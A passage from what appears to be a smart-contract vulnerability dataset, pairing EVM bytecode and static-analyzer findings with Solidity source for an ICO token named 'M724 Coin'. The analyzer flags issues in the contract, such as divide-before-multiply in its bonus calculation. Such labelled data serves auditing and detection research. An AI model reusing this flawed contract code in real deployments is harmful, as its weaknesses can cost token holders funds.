d1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba657600080fd5b600360149054906101000a900460ff16151515610bc257600080fd5b610bd78260015461174190919063ffffffff16565b600181905550610c2e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e3f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed3565b610e52838261172890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106557600080fd5b600360149054906101000a900460ff1615151561108157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f474e4d000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561116b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111b857600080fd5b611209826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113de82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561166857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561173657fe5b818303905092915050565b600080828401905083811015151561175557fe5b80915050929150505600a165627a7a723058204b2a95e661070bf9d7e24710e3c24aff867afdae05a7ac73b1a107ffb402cd020029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,640 |
0xf18ef338df7770abf0d20d09dff86c7398a91046
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/*Token Contract*/
contract BBBToken is StandardToken, Ownable {
using SafeMath for uint256;
// Token 資訊
string public constant NAME = "M724 Coin";
string public constant SYMBOL = "M724";
uint8 public constant DECIMALS = 18;
// Sale period1.
uint256 public startDate1;
uint256 public endDate1;
// Sale period2.
uint256 public startDate2;
uint256 public endDate2;
//目前銷售額
uint256 public saleCap;
// Address Where Token are keep
address public tokenWallet;
// Address where funds are collected.
address public fundWallet;
// Amount of raised money in wei.
uint256 public weiRaised;
// Event
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
// Modifiers
modifier uninitialized() {
require(tokenWallet == 0x0);
require(fundWallet == 0x0);
_;
}
constructor() public {}
// Trigger with Transfer event
// Fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
function getDate() public view returns(uint256 _date) {
_date = getCurrentTimestamp();
}
//初始化合約
function initialize(address _tokenWallet, address _fundWallet, uint256 _start1, uint256 _end1,
uint256 _saleCap, uint256 _totalSupply) public
onlyOwner uninitialized {
//require(_start >= getCurrentTimestamp());
require(_start1 < _end1);
require(_tokenWallet != 0x0);
require(_fundWallet != 0x0);
require(_totalSupply >= _saleCap);
startDate1 = _start1;
endDate1 = _end1;
saleCap = _saleCap;
tokenWallet = _tokenWallet;
fundWallet = _fundWallet;
totalSupply = _totalSupply;
balances[tokenWallet] = saleCap;
balances[0xb1] = _totalSupply.sub(saleCap);
}
//設定銷售期間
function setPeriod(uint period, uint256 _start, uint256 _end) public onlyOwner {
require(_end > _start);
if (period == 1) {
startDate1 = _start;
endDate1 = _end;
}else if (period == 2) {
require(_start > endDate1);
startDate2 = _start;
endDate2 = _end;
}
}
// For pushing pre-ICO records
function sendForPreICO(address buyer, uint256 amount) public onlyOwner {
require(saleCap >= amount);
saleCap = saleCap - amount;
// Transfer
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[buyer] = balances[buyer].add(amount);
}
//Set SaleCap
function setSaleCap(uint256 _saleCap) public onlyOwner {
require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0);
uint256 amount=0;
//目前銷售額 大於 新銷售額
if (balances[tokenWallet] > _saleCap) {
amount = balances[tokenWallet].sub(_saleCap);
balances[0xb1] = balances[0xb1].add(amount);
} else {
amount = _saleCap.sub(balances[tokenWallet]);
balances[0xb1] = balances[0xb1].sub(amount);
}
balances[tokenWallet] = _saleCap;
saleCap = _saleCap;
}
//Calcute Bouns
function getBonusByTime(uint256 atTime) public constant returns (uint256) {
if (atTime < startDate1) {
return 0;
} else if (endDate1 > atTime && atTime > startDate1) {
return 5000;
} else if (endDate2 > atTime && atTime > startDate2) {
return 2500;
} else {
return 0;
}
}
function getBounsByAmount(uint256 etherAmount, uint256 tokenAmount) public pure returns (uint256) {
//最高40%
uint256 bonusRatio = etherAmount.div(500 ether);
if (bonusRatio > 4) {
bonusRatio = 4;
}
uint256 bonusCount = SafeMath.mul(bonusRatio, 10);
uint256 bouns = SafeMath.mul(tokenAmount, bonusCount);
uint256 realBouns = SafeMath.div(bouns, 100);
return realBouns;
}
//終止合約
function finalize() public onlyOwner {
require(!saleActive());
// Transfer the rest of token to tokenWallet
balances[tokenWallet] = balances[tokenWallet].add(balances[0xb1]);
balances[0xb1] = 0;
}
//確認是否正常銷售
function saleActive() public constant returns (bool) {
return (
(getCurrentTimestamp() >= startDate1 &&
getCurrentTimestamp() < endDate1 && saleCap > 0) ||
(getCurrentTimestamp() >= startDate2 &&
getCurrentTimestamp() < endDate2 && saleCap > 0)
);
}
//Get CurrentTS
function getCurrentTimestamp() internal view returns (uint256) {
return now;
}
//購買Token
function buyTokens(address sender, uint256 value) internal {
//Check Sale Status
require(saleActive());
//Minum buying limit
require(value >= 0.5 ether);
// Calculate token amount to be purchased
uint256 bonus = getBonusByTime(getCurrentTimestamp());
uint256 amount = value.mul(bonus);
// 第一階段銷售期,每次購買量超過500Ether,多增加10%
if (getCurrentTimestamp() >= startDate1 && getCurrentTimestamp() < endDate1) {
uint256 p1Bouns = getBounsByAmount(value, amount);
amount = amount + p1Bouns;
}
// We have enough token to sale
require(saleCap >= amount);
// Transfer
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[sender] = balances[sender].add(amount);
saleCap = saleCap - amount;
// Update state.
weiRaised = weiRaised + value;
// Forward the fund to fund collection wallet.
//tokenWallet.transfer(msg.value);
fundWallet.transfer(msg.value);
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063078fd9ea14610176578063095ea7b3146101a1578063137b3bcd1461020657806318160ddd1461025157806323b872dd1461027c5780632e0f26251461030157806339c480c9146103325780634042b66f1461035d578063430fe9c1146103885780634bb278f3146103b3578063664a1ad6146103ca57806368393a4c1461042157806368428a1b1461046257806370a082311461049157806386489ba9146104e85780638da5cb5b146105735780638feadcb7146105ca578063a3f4df7e1461060b578063a9059cbb1461069b578063b45156fc14610700578063bff99c6c1461072b578063c1f45e8014610782578063c5ddba02146107cf578063d3d37a31146107fa578063dd62ed3e14610827578063eb89022e1461089e578063f2fde38b146108c9578063f76f8d781461090c575b610174333461099c565b005b34801561018257600080fd5b5061018b610c2f565b6040518082815260200191505060405180910390f35b3480156101ad57600080fd5b506101ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c35565b604051808215151515815260200191505060405180910390f35b34801561021257600080fd5b5061023b6004803603810190808035906020019092919080359060200190929190505050610d57565b6040518082815260200191505060405180910390f35b34801561025d57600080fd5b50610266610dbe565b6040518082815260200191505060405180910390f35b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc4565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b5061031661100f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033e57600080fd5b50610347611014565b6040518082815260200191505060405180910390f35b34801561036957600080fd5b5061037261101a565b6040518082815260200191505060405180910390f35b34801561039457600080fd5b5061039d611020565b6040518082815260200191505060405180910390f35b3480156103bf57600080fd5b506103c861102f565b005b3480156103d657600080fd5b506103df6111d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042d57600080fd5b5061044c600480360381019080803590602001909291905050506111fa565b6040518082815260200191505060405180910390f35b34801561046e57600080fd5b5061047761125b565b604051808215151515815260200191505060405180910390f35b34801561049d57600080fd5b506104d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c7565b6040518082815260200191505060405180910390f35b3480156104f457600080fd5b50610571600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611310565b005b34801561057f57600080fd5b506105886115b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105d657600080fd5b506106096004803603810190808035906020019092919080359060200190929190803590602001909291905050506115da565b005b34801561061757600080fd5b5061062061168e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610660578082015181840152602081019050610645565b50505050905090810190601f16801561068d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a757600080fd5b506106e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116c7565b604051808215151515815260200191505060405180910390f35b34801561070c57600080fd5b506107156117fd565b6040518082815260200191505060405180910390f35b34801561073757600080fd5b50610740611803565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078e57600080fd5b506107cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611829565b005b3480156107db57600080fd5b506107e4611a13565b6040518082815260200191505060405180910390f35b34801561080657600080fd5b5061082560048036038101908080359060200190929190505050611a19565b005b34801561083357600080fd5b50610888600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddb565b6040518082815260200191505060405180910390f35b3480156108aa57600080fd5b506108b3611e62565b6040518082815260200191505060405180910390f35b3480156108d557600080fd5b5061090a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e68565b005b34801561091857600080fd5b50610921611f3f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610961578082015181840152602081019050610946565b50505050905090810190601f16801561098e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60008060006109a961125b565b15156109b457600080fd5b6706f05b59d3b2000084101515156109cb57600080fd5b6109db6109d6611f78565b6111fa565b92506109f08385611f8090919063ffffffff16565b91506004546109fd611f78565b10158015610a135750600554610a11611f78565b105b15610a2a57610a228483610d57565b905080820191505b8160085410151515610a3b57600080fd5b610aaf8260016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6682600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816008540360088190555083600b5401600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610c27573d6000803e3d6000fd5b505050505050565b60085481565b600080821480610cc157506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610ccc57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000806000806000610d7b681b1ae4d6e2ef50000088611fea90919063ffffffff16565b93506004841115610d8b57600493505b610d9684600a611f80565b9250610da28684611f80565b9150610daf826064611fea565b90508094505050505092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e9883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2d83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f838382611fb390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019150509392505050565b601281565b60075481565b600b5481565b600061102a611f78565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108b57600080fd5b61109361125b565b15151561109f57600080fd5b61113d6001600060b173ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060045482101561120f5760009050611256565b81600554118015611221575060045482115b15611230576113889050611256565b81600754118015611242575060065482115b15611251576109c49050611256565b600090505b919050565b6000600454611268611f78565b1015801561127e575060055461127c611f78565b105b801561128c57506000600854115b806112c2575060065461129d611f78565b101580156112b357506007546112b1611f78565b105b80156112c157506000600854115b5b905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136c57600080fd5b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113b357600080fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156113fa57600080fd5b828410151561140857600080fd5b60008673ffffffffffffffffffffffffffffffffffffffff161415151561142e57600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff161415151561145457600080fd5b81811015151561146357600080fd5b83600481905550826005819055508160088190555085600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060008190555060085460016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061157e60085482611fb390919063ffffffff16565b6001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163657600080fd5b818111151561164457600080fd5b6001831415611660578160048190555080600581905550611689565b6002831415611688576005548211151561167957600080fd5b81600681905550806007819055505b5b505050565b6040805190810160405280600981526020017f4d37323420436f696e000000000000000000000000000000000000000000000081525081565b600061171b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60065481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188557600080fd5b806008541015151561189657600080fd5b80600854036008819055506119158160016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119cc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7757600080fd5b6000611b2983611b1b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b611fb390919063ffffffff16565b111515611b3557600080fd5b600090508160016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611c8857611c168260016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b9050611c55816001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcc90919063ffffffff16565b6001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d6a565b611cfc60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611fb390919063ffffffff16565b9050611d3b816001600060b173ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb390919063ffffffff16565b6001600060b173ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8160016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816008819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ec457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611f3c5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6040805190810160405280600481526020017f4d3732340000000000000000000000000000000000000000000000000000000081525081565b600042905090565b60008082840290506000841480611fa15750828482811515611f9e57fe5b04145b1515611fa957fe5b8091505092915050565b6000828211151515611fc157fe5b818303905092915050565b6000808284019050838110151515611fe057fe5b8091505092915050565b6000808284811515611ff857fe5b04905080915050929150505600a165627a7a723058200a9f61806d8149eda476d4b5b979f4091b7b57773cc70f8b8a1942ccb5f74fa10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,641 |
0x8db1d28ee0d822367af8d220c0dc7cb6fe9dc442
|
pragma solidity ^0.6.12;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
